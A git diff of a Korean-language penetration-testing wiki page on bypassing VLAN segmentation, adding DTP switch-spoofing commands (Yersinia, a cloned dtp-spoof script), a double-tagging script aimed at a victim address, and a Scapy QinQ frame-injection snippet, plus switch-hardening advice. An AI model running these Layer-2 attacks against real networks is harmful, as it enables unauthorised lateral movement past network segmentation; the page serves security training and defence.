diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index e80b942aa..ed85684e4 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -4,7 +4,7 @@ 스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**) -먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다. +먼저, 특정 연결 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다. **CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다**: ``` @@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` -트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복원할 수 있습니다. +트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복구할 수 있습니다. 그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다: ```bash @@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` -그 후, DHCP를 통해 주소 요청이 이루어집니다. DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다: +그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 실행 불가능한 경우, 주소를 수동으로 구성할 수 있습니다: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 @@ -46,10 +46,78 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` 연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다. -궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여, 모든 VLAN 네트워크에 대한 제한 없는 접근을 용이하게 하고, 후속 작업을 위한 기반을 마련합니다. +궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 무제한 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다. -## References +--- + +## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음) + +이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반적으로 **정상 액세스 포트**에 연결되어 있습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다: + +### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑 + +DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 기꺼이 트렁크를 협상합니다. 단일 **DTP “desirable”** 또는 **“trunk”** 프레임을 작성하면 액세스 포트가 *모든* 허용된 VLAN을 전송하는 802.1Q 트렁크로 변환됩니다. + +*Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다: +```bash +# Become a trunk using Yersinia (GUI) +$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking + +# Python PoC (dtp-spoof) +$ git clone https://github.com/fleetcaptain/dtp-spoof.git +$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +``` +포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 요구하지 않으며, 대신 *ip link*를 사용하십시오: +```bash +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.30 type vlan id 30 +sudo ip addr add 10.10.30.66/24 dev eth0.30 +sudo ip link set eth0.30 up +``` +### 2. 더블 태깅 (네이티브 VLAN 남용) + +공격자가 **네이티브 (태그가 없는) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. **VLANPWN DoubleTagging.py** (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다: +```bash +python3 DoubleTagging.py \ +--interface eth0 \ +--nativevlan 1 \ +--targetvlan 20 \ +--victim 10.10.20.24 \ +--attacker 10.10.1.54 +``` +패킷 통과: +1. 외부 태그(1)는 첫 번째 스위치에 의해 제거되며, 이는 기본 VLAN과 일치합니다. +2. 내부 태그(20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다. + +이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다. + +### 3. QinQ (802.1ad) 스태킹 + +많은 기업 코어는 *Q-in-Q* 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내부에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오: +```python +from scapy.all import * +outer = 100 # Service tag +inner = 30 # Customer / target VLAN +payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP() +frame = Dot1Q(type=0x88a8, vlan=outer)/payload +sendp(frame, iface="eth0") +``` +--- + +## 방어 권장 사항 + +1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`. +2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`. +3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`. +4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 강제 적용하여 악성 Layer-2 활동 제한. +5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호. + +--- + +## 참고 문헌 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +- VLANPWN 공격 툴킷 – +- Twingate "VLAN Hopping이란?" (2024년 8월) – {{#include ../../banners/hacktricks-training.md}}